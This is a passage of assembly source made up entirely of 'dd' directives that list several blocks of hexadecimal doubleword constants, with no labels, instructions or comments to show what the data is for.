		dd 0E045F630h, 19D84580h, 6CC8E034h, 0CFAED9A3h, 0BD3FEAD4h
		dd 396469AAh, 0E441286Ah, 26C2193Fh, 0FE9551C6h, 7D77CC7Dh
		dd 1642407Fh, 57A7900Ch, 0B56914A2h, 94DC7FF6h,	0CA05D4A3h
		dd 6B832198h, 46E0B32Ah, 0F7F438CFh, 0CD02DE5Dh, 7FCB4E4Eh
		dd 85BFD637h, 0B1F6E33Bh, 0E7D060E1h, 0A4CBECAAh, 0D6C2AFAAh
		dd 2B489F10h, 9F90DF77h, 0E0142CF0h, 384F8F77h,	18AB79B4h
		dd 42E25D26h, 5F90E899h, 0AC8EC0D7h, 0FE516713h, 0F4307ABh
		dd 6A373422h, 0B6D27922h, 0FB73A13Ah, 0D41F3D4Dh, 0E88FA260h
		dd 0EC8C0A52h, 35B812C1h, 10FB9A56h, 0E145BA5Fh, 94EC59D2h
		dd 0FF6756ECh, 6304DDCAh, 81C6AD3Fh, 4A7AE6E9h,	0AAE130B5h
		dd 0E15C5A66h, 0ACD19201h, 368F9371h, 0E822F50Dh, 0EDA6B43Fh
		dd 0C29EB9C8h, 84696F1h, 76687B08h, 1FACBE7Fh, 0F32EF46Ah
		dd 6CA2A0Bh, 1BA7151Bh,	510D5154h, 0D605EB40h, 0D17D7728h
		dd 1CF80350h, 0D4B4CDD9h, 1D7CC3C8h, 0E607EED8h, 0E4F57CE9h
		dd 0F9ADB157h, 0DD628E6Bh, 0A54F2D97h, 0BBF5A7EEh, 121376B4h
		dd 0B1637A8Ah, 47D7E68Bh, 0B2AFE1CBh, 2BD8EA50h, 99FAD98Fh
		dd 10DF1071h, 56222F5Dh, 0A90D7842h, 761EA2E8h,	0CA1E857Dh
		dd 406CDD0h, 7B6CCE8h, 128309FDh, 0EF539A30h, 4629571Fh
		dd 215A0ABDh, 0DDAB0218h, 2A11D1F6h, 0E4238E1h,	86FE1736h
		dd 6DFEEAFAh, 68A7107Dh, 75D8D883h, 0D1D6DECCh,	0E4308E18h
		dd 0C602B3ECh, 84FC831Eh, 61DB093Eh, 3AD993D0h,	813A3444h
		dd 74FAEC20h, 0B4588026h, 7E38BA2Ah, 14ABA718h,	0E29ADE6Fh
		dd 3DF10B90h, 956CB120h, 2F480DD7h, 0F4FB56CCh,	0AE45FCE3h
		dd 8C0384Fh, 0D07C9F03h, 58424BFAh, 0D839568Eh,	0A3595E87h
		dd 0FEF541Ch, 0DCC1823h, 3025B3Fh, 25FC7896h, 7102B47Bh
		dd 1C3EB204h, 0D8E598FBh, 8226F1D8h, 0BC53698Dh, 0B0314C98h
		dd 0A4AE107Ah, 5882F7BAh, 0C5007C6Bh, 4E2B4CF6h, 14A338C4h
		dd 34FF2EE5h, 0CF938E05h, 13B7D3FBh, 9C42B826h,	9983A518h
		dd 9D18B83h, 19499BF5h,	2D4A695Ch, 0AB0CE741h, 7CB3A9Dh
		dd 6C70D350h, 42725AACh, 0F723CB3Ah, 0B9500BCh,	0D6B737C2h
		dd 0E6776A2Ch, 78ED63E4h
		dd 3E99AB55h, 0CF7B0AF1h, 6DC8AD3Fh, 3AAC54E9h,	0F7EFE15Fh
		dd 0EDD76812h, 0AA83B392h, 4451623Ah, 3843F98Bh, 9B4BA78Ch
		dd 5FB974Bh, 0C8D971E2h, 7E96B01Ch, 0C93D2E15h,	57D47377h
		dd 892247E0h, 0B8BCC310h, 0D52DB3A1h, 575A747Eh, 63BE5493h
		dd 5995A6A2h, 7AF21431h, 0E3F0DC3Fh, 0DF8C7EDCh, 5FBB1E58h
		dd 0FD5B28D8h, 95B695DAh, 0BD41F2F1h, 88A00EC8h, 53156894h
		dd 6B1750E1h, 56A66DC8h, 0D828DAE0h, 4398266Bh,	0B7091B66h
		dd 0FD7B7B0h, 8DA6B839h, 0D2A3290h, 7282BE22h, 6CC5CD9Eh
		dd 0DB7282BAh, 0CEF5C57Bh, 21BF3A2Ch, 0A10267D9h, 71FB02FBh
		dd 161C098Ch, 0E5418FA6h, 18E48E5Ah, 0B638387Ch, 416C8FF9h
		dd 47A6A7A0h, 4B8F80EDh, 0D582045Fh, 446FC835h,	1B1AE642h
		dd 2EEBBECh, 94CD5D75h,	0C3BEC1F8h, 0DA2F88AEh,	4BE4ED52h
		dd 145E904Eh, 90D20B58h, 38648859h, 0FAC2B125h,	0D1CEF7B7h
		dd 0DCDB2E2h, 344D2694h, 0A6731900h, 0ACFBDDB7h, 511E59A5h
		dd 0ADB120EBh, 0A9711E19h, 16B669EFh, 8CB379C3h, 384B175Fh
		dd 8590D99Fh, 96C122C9h, 0F4CA9556h, 9D552BB3h,	0EE8331F0h
		dd 0F30AD54Bh, 0F61815D1h, 783D4D86h, 79CB408Eh, 2F3211D8h
		dd 77505A48h, 72647F81h, 0E7257D6Dh, 5AE7DAB8h,	14ECB622h
		dd 0EFB7015Eh, 0BDE6B9E3h, 38BE7CFAh, 0E7BCC010h, 663CEC8Dh
		dd 0E69F6BDBh, 0F927EFFh, 4F01C5ECh, 1B15C642h,	9677C48Eh
		dd 93ED49CBh, 5487CD3Fh, 3D86A99Eh, 576AE5F6h, 5435144Bh
		dd 45EA55B9h, 0E9CE7A75h, 347C2C3Ch, 9821AE49h,	142A1E99h
		dd 0BFFAE047h, 7B8980A2h, 0BE371FC5h, 0C6A0309h, 68F5E1BBh
		dd 81515095h, 480BDE30h, 86C725ADh, 0A90CA51Eh,	8192B826h
		dd 0BBB79DBFh, 6C6A0D0h, 62AF1112h, 584D301Ah, 681BD70Bh
		dd 0D97D400Fh, 4032864Eh, 72F18182h, 0C2E052BDh, 0F530A91Eh
		dd 4ACD95F8h, 4D913E16h, 0C6591EDDh, 0CA0576B2h, 59DB4302h
		dd 27B71465h, 0C0C6F3F5h, 0F8528B58h, 44351CD6h, 0B752A111h
		dd 0BBEEE1E2h, 0B336385Ch, 0A8E522B4h, 197722F2h, 0E0B79D95h
		dd 453B3D2Bh, 7B7D8777h, 0B4677618h, 6D65DAC9h,	599311DAh
		dd 216E5E19h, 0D94F2CC4h, 1F552CBBh, 6E362512h,	62A38E1Ah
		dd 40810BE8h, 0E82237EFh, 0B54DB295h, 2B9BA877h, 1DF000Fh
		dd 7E33F002h, 0BE56C8ECh, 0DE944782h, 0D8AA23C2h, 1DEC90F7h
		dd 22A7C27Eh, 943C7BBFh, 2500B430h, 4499A6ECh, 35E7E983h
		dd 0E64D608Dh, 0DCEBCBC2h, 35E7099Bh, 0BA78E83Ah, 0B9F81F7Bh
		dd 98D8039Ch, 6ADA40CDh, 5E0953E5h, 816EFC58h, 2000299Ah
		dd 692F4CF0h, 51560877h, 8B598935h, 4E0AFFE5h, 7669383Dh
		dd 878F1EEBh, 19889C68h, 0EC4BF4ACh, 0A088A514h, 21C3E5C8h
		dd 5C5F16BFh, 3F8273AEh, 0E7AE4E45h, 0C436126Ah, 62CFB9EFh
		dd 4E7F149Bh, 0FCDE5522h, 8D807E9h, 85859CFh, 94213A8Bh
		dd 6DAE272Fh, 0E51EB7E2h, 0F08BA373h, 0D2BB950Ch, 2B24158Ch
		dd 37A8EEEBh, 0B2EA4BE8h, 4EA0F913h, 0EB77A82Eh, 1B62A7C3h
		dd 0F00FAD1Fh, 0AD572299h, 9AB2E100h, 0FB14144Ah, 0E118007Eh
		dd 0AB91BC66h, 346BEE7Ch, 87246528h, 0EC358469h, 0A1A0212Dh
		dd 410C2EAEh, 0E8803081h, 41B32607h, 3B5CE192h,	2C4634D1h
		dd 3E718814h, 0FCA45E67h, 0CA139F02h, 95CD5FDDh, 0CD780C2Eh
		dd 0D5D99220h, 0AF4C09E1h, 9EFF55B3h, 938A863Bh, 5A9063FEh
		dd 92D82689h, 4B7C26AFh, 8AFBA4Eh, 452F56B8h, 0AF6EB01Fh
		dd 6EAD0F61h, 0BC4C1FEEh, 4D9720B4h, 3E693EA0h,	0FE9C96C7h
		dd 0F63D668Eh, 61F47B3Dh, 54AF44F9h, 0A39E16CEh, 328670B1h
		dd 3F7C31A4h, 0D89D5CDAh, 94C30C0Ch, 0C9831D5Fh, 618DDFD4h
		dd 24E4ACB0h, 14C99F0h,	35FD707Fh, 567BA0F6h, 621F1F7Ah
		dd 8535DDE8h, 80663D1Ch, 309580FAh, 14239724h, 0DFA67ABDh
		dd 0DEE6B606h, 1317E2C3h, 0BEF88722h, 0E8A61AD4h, 3B17DCA0h
		dd 149D2072h, 0D2C6314h, 265EE24Fh, 0AAA072AAh,	45B973A9h
		dd 307FC8A9h, 0D3809764h, 862C9EEh, 0B6998A9h, 308541B8h
		dd 3B87701Ah, 0AA689C72h, 95FC6712h, 9470902Fh,	552ABFF4h
		dd 0C178553Ah, 0DCD97AA6h, 3F1B1822h, 0D7519Ah,	0A9CBDA2Ch
		dd 2EA37635h, 0DE3E5963h, 0A9BA9E96h, 5123F0Dh,	0AE949ABCh
		dd 23F44D15h, 0F7029DC9h, 0D66D90D8h, 0ACF00800h, 0ADF81DE5h
		dd 0BA0946BBh, 438B5640h, 0DACF7442h, 566117A9h, 86C890CCh
		dd 0AF71330Ch, 776D7299h, 23B2C2C6h, 71BC1DA5h,	93AE1F72h
		dd 85F87A54h, 0B41B36B2h, 35345410h, 0EF692E97h, 4DD97E51h
		dd 0DF27895h, 8918393Fh, 81F09E5h, 621C45AFh, 921DEB57h
		dd 6390CF55h, 66EEC3B4h, 5DFFE2ABh, 58BB3098h, 0E8239CBEh
		dd 77D7DB0Ch, 0D8BB6AA0h, 0AAA97DB1h, 0DD038F44h, 3796FF58h
		dd 0D828F630h, 0D433F0FCh, 3FD51876h, 9D0AB048h, 4EFBCF17h
		dd 0CA7E3B91h, 8A645A48h, 4DB8A7E9h, 193ADCE5h,	48D7C902h
		dd 0DE2EBBD2h, 3B5B93ECh, 0A80068CDh, 0C8FC7935h, 6472F9A1h
		dd 1FBD0497h, 6367839Bh, 69E8214h, 70D8E3CCh, 4D929E66h
		dd 0DA5B18B6h, 936F493Fh, 0E7156BC8h, 7F2F8574h, 3349DA49h
		dd 7FC66AD1h, 1892BDE9h, 42FFCE9Ch, 0A3F480BBh,	2AE704AFh
		dd 0AA26B043h, 28FC59FEh, 27395F96h, 0E2E2EBB7h, 248676D0h
		dd 21B49B3h, 2832316Bh,	0DA56E03Eh, 962B4135h, 5725CF86h
		dd 8B5E344Bh, 0EFFA19A1h, 0A67D4ED3h, 341CB729h, 5EF19260h
		dd 4CDDEE3Bh, 0E9FAFF85h, 0EE82EE9Eh, 2B0EB1A3h, 2A8973C4h
		dd 3B5D4907h, 0AD0D633Bh, 64B60991h, 0E2342B4Eh, 9E8C8101h
		dd 0F73CF12Ah, 9B46B754h, 1B868720h, 5DB15F42h,	7ADB48ADh
		dd 743E8125h, 973B57ADh, 0BEF917B5h, 0BD34D477h, 0DFA98E43h
		dd 2B2C2A48h, 0ABDF8D6Ah, 386367F5h, 7D606036h,	73187773h
		dd 458C75FBh, 39E968CEh, 9FC8F41Eh, 208D097Dh, 7C5C14EDh
		dd 8E870295h, 0A58DD8h,	0D0B68645h, 7A649216h, 78C8FEF7h
		dd 0E3D1390Dh, 0B0711EDh, 56702B22h, 929C2ACFh,	90F39982h
		dd 9FBD09F0h, 0A58DD1Ah, 88029773h, 0A26A4815h,	0DB3E8A5Dh
		dd 40149EE2h, 3E8A13CAh, 775D4E2h, 1F53DF7Ch, 0F965ACF5h
		dd 12AE0C85h, 0A07328Ch, 226D04A1h, 7B6F2950h, 0EB93861Bh
		dd 68C7B71h, 0EFEBC685h, 8141D4ABh, 9307D5D6h, 825F3166h
		dd 0FABC0247h, 0DBA3715h, 2B84FD7Fh, 0C520EF27h, 1885759Ch
		dd 0F65ADDA7h, 84674913h, 3C90F58Ah, 15D91F12h,	4CAC5401h
		dd 490A3EE7h, 0C0CE86C3h, 6DCA8EFBh, 0CE1C2588h, 1AC4074Dh
		dd 11D401D7h, 0BC8A100Ah, 60DE5252h, 76C0FA55h,	869ADC9Bh
		dd 85436FA0h, 9B674A75h, 9DA490B8h, 1AEC968Fh, 1AE08496h
		dd 725C83FFh, 5BE7A4AFh, 7FCB7408h, 4DAF4956h, 0C2252726h
		dd 7085A27h, 5A40DDA0h,	9B48A2D3h, 76DA8DF8h, 70E5DD6Bh
		dd 7D5174AAh, 456AF761h, 98CD0B5Ch, 8716B9C0h, 0EC364A50h
		dd 0FD9BE1F5h, 599D67C6h, 9077B3D2h, 915C7A5h, 5F3B6225h
		dd 8D6F4FE9h, 0C32B3AC2h, 6081FFD1h, 2119F913h,	3A52E652h
		dd 0A9FD406Eh, 9A6EEC02h, 11CDC38Fh, 99A42A34h,	0F3A32399h
		dd 0F91D9960h, 5CF739F5h, 0FFA0F74Bh, 0CAAAEC0Ah, 696ABAC0h
		dd 0B99DE280h, 8BB721BEh, 18B040EDh, 69C9583Ch,	9EDC7AC7h
		dd 405F9287h, 0A7A08F8Eh, 0B7F5CC14h, 81B3F63Dh, 0A5A63AF1h
		dd 3B64E674h, 69F4FE05h, 9AEA5891h, 0F20B1CFEh,	0D9B8D40h
		dd 61C38864h, 16BF3908h
		dd 15145A12h, 0C1190CC2h, 0D9B18155h, 5F3D75D0h, 48E25810h
		dd 29A621D5h, 0D22C491Ah, 3C1DA2ADh, 9FCEA757h,	5BEAEE1Fh
		dd 0F964674Bh, 0A6C71364h, 0CB6154B4h, 0CF71EECh, 6BDD0053h
		dd 0B9790659h, 9615F0ACh, 0A9EBBC8Fh, 3E8CB85Bh, 7385F180h
		dd 2D6F3B1Ch, 5CE02531h, 0D43AEDF1h, 0A8843115h, 0AA9CF63Bh
		dd 6AA50EFAh, 8EFEEC8h,	1FC9660Ch, 727DC522h, 61B19C4Dh
		dd 574E58Ch, 72C5C85Ah,	36FDA26Ch, 92EA34C6h, 34075D98h
		dd 2C7AAB90h, 41B66465h, 1BD5F854h, 0C5F7BF9Bh,	0A8B9F9DEh
		dd 0EE13D2C4h, 22016B23h, 0E95B8875h, 0AB41C7A4h, 21BD2F58h
		dd 0EF4A3F6Dh, 44953770h, 0B4F17C6Fh, 9771A087h, 0CB3305E0h
		dd 0AB3C0B41h, 0F0F5D83Bh, 5A796128h, 7E406202h, 651A7E8Dh
		dd 0D17E6B95h, 0ACD6B106h, 0A40386E2h, 0DAF052E3h, 9406093h
		dd 0C8C3B2AFh, 14AE316Eh, 9156ED2Bh, 0A8A12836h, 0E26830C4h
		dd 0F320A6B2h, 94780987h, 81FD0F38h, 4709DEF9h,	14145AC1h
		dd 18AE8F44h, 3723E78h,	0E0AA9FC8h, 8EF42F48h, 0AA5EF9EFh
		dd 72F5FD47h, 9AA37F58h, 1C75A314h, 95BF4B4Fh, 0C84D61B4h
		dd 1C4ED838h, 2473BB73h, 0E2D311C9h, 0E636B485h, 0FE9EC0A9h
		dd 8639AEF2h, 7713A121h, 67BCF90h, 22E53552h, 61B18CB8h
		dd 8B501AB1h, 4E43F4F0h, 0CB8E71Ah, 78EBB2Eh, 3AC06701h
		dd 0F9A877DBh, 0B438441Bh, 0AE1CF86Dh, 3B08E813h, 860427F2h
		dd 3056FE90h, 8E823A9h,	6A96EA01h, 0A8837B2Dh, 7AEBE169h
		dd 514DC392h, 0EFDC7A13h, 0BB367809h, 35809782h, 0B655AA2Fh
		dd 19209124h, 0C1AD0C5Eh, 0EFC9B8A0h, 23A7C16Bh, 0F9B2F0BDh
		dd 0F1738E08h, 0C090536Dh, 90611474h, 4624F9B4h, 0F0EE3CE4h
		dd 2416867Eh, 1E73DA56h, 0BD19B96Ch, 0B5BBD74Ch, 94E247E0h
		dd 0F093B9CFh, 9F93A898h, 0E2863CEBh, 6DF4C868h, 5FB6CD2Ah
		dd 39EE0451h, 4C13E8C5h, 81214732h, 9761BE15h, 2B28B7D0h
		dd 44969F08h, 9524DF16h, 95C92111h, 9621442Bh, 0F5467624h
		dd 0A2DC453Ah, 59D0403Ah, 7D93B884h, 4D39C5DDh,	0E4648663h
		dd 0EC21AEE4h, 56AC5495h, 90E3BB29h, 63EC75Dh, 16D52920h
		dd 1CED2E36h, 6B60C091h, 4C94C055h, 7CDC4E1Fh, 4E913615h
		dd 354DCCA7h, 1330875Eh, 0CC0498DEh, 0B4DC4221h, 4E1074E4h
		dd 36B5EF6Dh, 38FC12E7h, 84C4B54h, 9B8FB057h, 79B9824h
		dd 67741FF9h, 998D68D9h, 797AAAF7h, 0C37BFFCDh,	0D56C4165h
		dd 0CE526125h, 0F4BCB4EEh, 0E1765642h, 5EDB8CC4h, 80738A3Dh
		dd 694FFF32h, 0F6D45499h, 0CB4519Fh, 66406A67h,	7F69A538h
		dd 0EEAB2E14h, 94FF7A90h, 0A89F7BA9h, 8F46ABD3h, 0ED68C68Ah
		dd 67BD30B6h, 0C3427A8Ah, 5D168F73h, 0A08237A0h, 18872875h
		dd 0D1405165h, 74A3225Ah, 5B3387B5h, 5AA5DDAAh,	87D8F8A1h
		dd 0BF6FFDB2h, 0F48AAA0Dh, 61F34FC1h, 0A33C2B5Eh, 0BFEA5251h
		dd 0B83EE139h, 36E66CB4h, 5AF5419Eh, 50CDC62Eh,	42789C20h
		dd 71C69C8Eh, 8935FAACh, 965BBCDCh, 205FB079h, 549F68F9h
		dd 0A686B3B2h, 6633CFBAh, 0B0C524FBh, 0E78EE5A8h, 0D94BFD66h
		dd 0D0C7041h, 3174EB5Ch, 0F7490F05h, 6E01885Dh,	0FC9E7288h
		dd 5F4C7B2Bh, 0CB9064CEh, 39F49D3Ah, 0FF0426C2h, 4526DE8Ah
		dd 0E796C94Ch, 8BF53A85h, 0ADB40169h, 0FD784DC4h, 0E3DD7BAEh
		dd 0A885D074h, 0EA14503Dh, 0BE75B534h, 5891A7BDh, 0C73BB830h
		dd 0DB3187DCh, 51EA01C6h, 0ADE0B7C4h, 4D5B85B8h, 405AE91Ah
		dd 0A5E476A5h, 9268B02Eh, 0A89656C4h, 370AD57Bh, 76CAEC4Fh
		dd 7A299A44h, 93D4F88Bh, 0FD6BC3C8h, 0C1A25F0Ch, 1A3D81F9h
		dd 0C73E6474h, 0ECE9A3A4h, 0B01E9426h, 2DDABCD7h, 52C132A3h
		dd 84D658C4h, 4986B9D1h, 5D258658h, 94C1374Ch, 81D43F19h
		dd 5A9956A6h, 0CA84DCA3h, 5A7CBFAEh, 436DF6EDh,	0A84DD5h
		dd 8B9D6C74h, 48DBDF43h, 0CF82D57Dh, 0CE7E202h,	0E359BDF8h
		dd 9E1A2C8Ah, 3865A153h, 681F3518h, 6FB2AE52h, 0ADAE9E14h
		dd 0AAF3CECBh, 47B6242Fh, 0CA3DF5Ch, 93DB0A9Bh,	78773D8Ah
		dd 0D387FC61h, 80FB61BDh, 255DB9B6h, 0F8CD3A78h, 0E3E177F0h
		dd 3AFB39EDh, 67307A7Bh, 2DADBC4Eh, 5DA42A3Bh, 0ABC6AF8Ah
		dd 0CA52D483h, 0BE90EA34h, 2A3D23A6h, 0EC901109h, 175AD221h
		dd 0ACEA3CB3h, 0E4091E48h, 0CDBE6B9Dh, 80128559h, 97D7DB29h
		dd 31E36675h, 8E0C5E82h, 6ADF2848h, 0F200A08Ch,	0C8695F2Ch
		dd 0CAF7EEB0h, 2660803Ah, 0E3BD0D1Ah, 0A8A2C128h, 494046BFh
		dd 0FD9C949Eh, 8A4670Bh, 98A85920h, 8EE02F64h, 0D4BDA77Ch
		dd 9B8C8F3Bh, 651CC35Fh, 0E190B3E0h, 8222D9B7h,	27CA70EDh
		dd 5F399C44h, 0C75CA1DEh, 5A1F8E21h, 47FF1A16h,	7F24BA08h
		dd 0DE22ADF9h, 0B7D06530h, 91F3E01Ch, 6C70EEB9h, 0ED908138h
		dd 0ABA05E4Dh, 97A23A81h, 13F6A25Eh, 4D1A307Ah,	0EC692E7Ch
		dd 0FC6691A8h, 204DD2B7h, 1DA25C3Ch, 0C5FD5BBEh, 862FB1D8h
		dd 8A3F83D9h, 0AA47EAF4h, 0BB44DE11h, 5FE5D25Eh, 932244AAh
		dd 41E1BFC2h, 0CE7C654Eh, 246BCF46h, 0FEF0278Ah, 0E12EE4EDh
		dd 0C4DC0E42h, 4F6B7029h, 81542946h, 680B31AFh,	0B88B44BFh
		dd 4DCD96C2h, 398EF7BCh, 3A0898AFh, 8A5D095h, 98256A70h
		dd 0CAEC12FEh, 0E981BC15h, 0DF91DEBFh, 0DD57585Ah, 84884CBEh
		dd 5AE35377h, 5B2CA2C4h, 0ADC67E9Ch, 6C5253F4h,	44A40460h
		dd 4D703F37h, 7F454388h, 0E1B21A92h, 63727D20h,	0B7F280FEh
		dd 76C8C367h, 757A3BD6h, 0DA634E5Dh, 496D9246h,	0A3469EA3h
		dd 600DDCFCh, 0A4B35984h, 7C39266Ah, 35E1DD96h,	35EA7FD7h
		dd 0DEF763C5h, 4E284F9Ch, 6E61DF66h, 5B84177Ch,	42EC690Fh
		dd 0E73EE6D5h, 4A44F1BFh, 73BB0A0Fh, 0D22BA865h, 0D883EAE4h
		dd 0F7AF7DCAh, 0D33CA2EAh, 89A664A5h, 8838422Fh, 0A2D9EDEEh
		dd 3E702CD1h, 60839A96h, 947471F5h, 75917450h, 78D06FA3h
		dd 76ABDBC3h, 3FCF33CDh, 7F31F497h, 9CD12D16h, 0B7167BADh
		dd 19488974h, 97D81F7Ch, 62A1E7A2h, 0C57CD542h,	0EC27DE3h
		dd 0AEE80ECDh, 0BC1021FAh, 7272B1B9h, 4B75E489h, 15EE192Bh
		dd 0AACA0E25h, 0EDCEE1A8h, 33D6490Bh, 6CC9AA78h, 71A6651Ah
		dd 0E77EDBC6h, 0DB6538AEh, 0A532DA3Fh, 9643BDC9h, 6A046011h
		dd 1838F915h, 3CD0C346h, 8686A2B2h, 0A71B739h, 5A26B5F9h
		dd 7E1382EBh, 8DE7371h,	0BBD67590h, 12D23329h, 5F14F915h
		dd 966DDB9Dh, 0A9D38564h, 0F106B8E3h, 5A1805C1h, 72214CE7h
		dd 3CFAB75Dh, 85C04519h, 6267AC0Ch, 0CF5207ADh,	79250FBh
		dd 27005D2Eh, 8FA50CFBh, 73C1AC27h, 0BA371B00h,	0CCA13FCDh
		dd 0DB6F7398h, 5508AC38h, 0D8D2C345h, 42803C1Ah, 0F10484E4h
		dd 0A66E1C41h, 3E5273F0h, 0A75F141Fh, 6E9C8662h, 439D26F3h
		dd 878A943Eh, 0B1172D18h, 71E52054h, 87F4CF80h,	67F4181Ch
		dd 0ED7FDF47h, 39A97723h, 9E48D9ABh, 767D2157h,	2AC94432h
		dd 2F9A803Fh, 5E119834h, 78E51539h, 0F31CF2E0h,	5F1DA331h
		dd 91C92A9h, 97DE0D61h,	6E5B21ABh, 0E8FD166Bh, 1E99CA51h
		dd 3274FA1h, 32795E89h,	0FBFB9FB9h, 688A86D1h, 0EEA13545h
		dd 34F89E0Eh, 0EF0D6F1Bh, 0F7923661h, 99B45C89h, 7328C5CAh
		dd 4927B257h, 0A3BB2C3Fh, 0FCE0B018h, 0ECBF9A11h, 0A0C6C1ECh
		dd 0FCB2C1FFh, 0F30EC8E1h, 42C83272h, 2C467EE6h, 80375997h
		dd 0C1EBE02Ah, 173E7592h, 7183A7E3h, 0B09ADAD0h, 65F97224h
		dd 9431F4DBh, 0EECFCAD9h
		dd 77968149h, 6C8C7460h, 129EF64h, 0A2D83C3Eh, 0EEC96707h
		dd 0D3E830F5h, 200D4F7Bh, 0B5B210C6h, 0EB6527F1h, 0A62D7BF0h
		dd 34E6EE23h, 1EB8190h,	129E2D39h, 98354830h, 4F613385h
		dd 2A67FC1h, 0AC2DC787h, 2152341Fh, 1A228F63h, 5438CCEEh
		dd 3D515AC8h, 2024ED3h,	6483FF6Eh, 916C0C72h, 337CF34Ah
		dd 0E1D4B63Dh, 829953A4h, 0BF2A4F0Fh, 1EC0E906h, 2B14828Ch
		dd 228DBC7Eh, 0B60B67F5h, 923D8CFEh, 97BB191Ah,	0D1426571h
		dd 426434C4h, 0DAA61FDDh, 18DD5850h, 52565E6Fh,	0DD513B59h
		dd 722E624Ch, 3033BF76h, 0B01B5196h, 535CCFBh, 0B9851081h
		dd 1E4F5AD8h, 83DC0241h, 3C70A01Ch, 0F35AECDCh,	0F2BA3E5Fh
		dd 0C44780B5h, 7C79879Ch, 3B64DD7h, 269F626Ch, 0F5283F99h
		dd 0ECD67E49h, 0C4AA8A8Dh, 2E022414h, 0DC6DF0C8h, 3FD2013Fh
		dd 5BAF9C28h, 7085704Bh, 22703A3Eh, 0F8A1555Dh,	85CBA110h
		dd 0A84DDB10h, 89A6D72h, 3A29E98Eh, 0CDF18E4Eh,	58CA68D9h
		dd 0A4967E22h, 0AF83BF0Bh, 305C12C1h, 26CF3B82h, 4BC449F5h
		dd 6591AFC9h, 29806BEh,	2504F3E3h, 15CA4EA2h, 55676DA6h
		dd 0AC4FB084h, 0DFDE52FCh, 0C800EEE2h, 60472559h, 0F82F9AD4h
		dd 4E009672h, 743AC0E9h, 6C107D0Ah, 7AC02E81h, 0E833018Ch
		dd 595090A2h, 44A009A7h, 517E5A2Eh, 62EFFA79h, 518562B1h
		dd 0A9B6B63Fh, 66D8FB8Bh, 0FDC11757h, 0F9E45C7h, 0C4B5C397h
		dd 7844BCAEh, 1A828D9Ah, 0A12D6BF7h, 52059E7Ch,	0B80E53E0h
		dd 0C9840090h, 9BC52799h, 0C51B9305h, 0F683FBF6h, 5AABE943h
		dd 2B7A8146h, 7843D428h, 36B76296h, 0C484940h, 19D18B7Ch
		dd 0BFE81C5Ah, 0A5AFC2A0h, 0A591154Ah, 0FFF96D0Bh, 9FF60B5Bh
		dd 7805B605h, 85171FC4h, 80F30517h, 0C0C7A266h,	0ECD52E01h
		dd 0AF78F952h, 0EBE6386Ah, 1A37B9D8h, 0DCDE1ABFh, 541E3B4Bh
		dd 1CC1D869h, 0BF8A37B8h, 5B1DEFh, 0DCA83F65h, 62407C04h
		dd 819A4FBBh, 50F4A384h, 86C3804h, 0D3B4A147h, 0D75A8E87h
		dd 69023A5Dh, 8E3C4BBAh, 0E9D3A24Bh, 0B81EE502h, 8BB81337h
		dd 4750C88Fh, 0C6AD0F4Ah, 34D49385h, 0E44BCF43h, 1A91E238h
		dd 0DC3858CBh, 6BB8083Eh, 8547E236h, 39D9E7D8h,	2B0343BFh
		dd 0E88B5B51h, 0E0600D08h, 0CB4D17CCh, 0C81997D1h, 0C76B1333h
		dd 393E739Eh, 0A4FFA62Ch, 0C2647C3Ch, 0FF53AE7Bh, 0EC5CC982h
		dd 0A267DDA7h, 9035C5E3h, 3A687E50h, 0A9CD5D4Bh, 9E497687h
		dd 0A431505Bh, 37D8981Ah, 3A7148DCh, 9EE2AF50h,	0A72C73ADh
		dd 0B14A5153h, 0FAC15564h, 36F78CCAh, 4A17B6C4h, 1A090318h
		dd 5FFD1C0h, 9BB9514Dh,	0AFB5F006h, 0CED90993h,	5B2CC1FCh
		dd 75379F72h, 6B971B57h, 0DFFF74D4h, 1A7349B2h,	36114D0Ch
		dd 0A5CECC1Fh, 2AF9644Eh, 0D3280363h, 827FF6B6h, 0F0E48619h
		dd 0C698B7B4h, 62F0B931h, 3D171599h, 6209A243h,	3EE5E4F9h
		dd 0E0B8B080h, 0BC75C079h, 3EE98F41h, 9D66A9F4h, 78DC17FDh
		dd 97DF2121h, 0FAA8FE3Dh, 7BFC17CAh, 6D33540Fh,	9F9F0FCFh
		dd 0F16BE0EDh, 578C40A8h, 1F6F1749h, 0E76C744Bh, 0DCB7EA1Dh
		dd 73EBA6B2h, 68D19218h, 9C95945Ah, 0A9996AACh,	0A14156A4h
		dd 0D5FE9C96h, 74CDE3B4h, 8310C7A9h, 32DFE98Ch,	237567D4h
		dd 1EA60BC4h, 459DEE59h, 4236C047h, 7A133EFBh, 89DDD51Fh
		dd 240AE4CFh, 0CF02A82Ah, 6CAAC1CFh, 70A45F04h,	20E8738Ch
		dd 1CD5906Ch, 150462A4h, 149FFD1Fh, 4883D710h, 0B321F2EBh
		dd 33FA573Ah, 134D4A17h, 0F94351C3h, 4F49BC7Ah,	1C92A4E0h
		dd 76F3FA0Ah, 9A22C5E0h, 0B1E923C0h, 0F1971CB2h, 6D8E9719h
		dd 0EE1572F9h, 969F57Eh, 95C2F6ABh, 0C0EF22EBh,	2DA8F080h
		dd 33C5E40h, 7999A97Dh,	0F8BEBE27h, 37770F93h, 93699ECDh
		dd 8A03B271h, 0F32343E4h, 3B490B56h, 7325F075h,	6017CA2Fh
		dd 8415C5A8h, 8C7C8300h, 0CC331EFBh, 838DFB7Ch,	7A649A8Eh
		dd 180694BAh, 0C0587738h, 0B2BA62C3h, 0B5DF00EAh, 5929348Ah
		dd 5014BE2Ch, 47344538h, 0CE7EC3FBh, 1FA88B1Fh,	0EF5C78Bh
		dd 2F3334A6h, 0D2E29BFAh, 0AB3F19C3h, 10CB5040h, 205989FAh
		dd 23598087h, 2870AE56h, 0F9BA04F7h, 0E468734Eh, 6189BA96h
		dd 426C75FFh, 50669271h, 7AB0B85h, 0D572792Bh, 0EE31E68Fh
		dd 0D1D94AC0h, 0D3399B22h, 4BDA9779h, 0D06F3A46h, 20BCCF7Fh
		dd 0A0F1014h, 0B15056C6h, 0A93A4C2Fh, 0D8C95107h, 0CE250EB1h
		dd 80A3867Bh, 38F09816h, 627BF2F2h, 0C1F4E1E7h,	7255E916h
		dd 0D6524246h, 0AE830633h, 15029B50h, 6CE1B530h, 1E09AB82h
		dd 4890B5BFh, 0C32E1FD7h, 39BF6B9Fh, 0B46402F7h, 0F4906A0h
		dd 5E8596AAh, 56A205D7h, 0E644B683h, 0F49308F6h, 9899A778h
		dd 70661878h, 179722C7h, 8F2437EBh, 9574BF15h, 428C60F5h
		dd 0C8B4B777h, 7BB6DE35h, 0CC70F1F8h, 22D39F1Ah, 0C96BDC46h
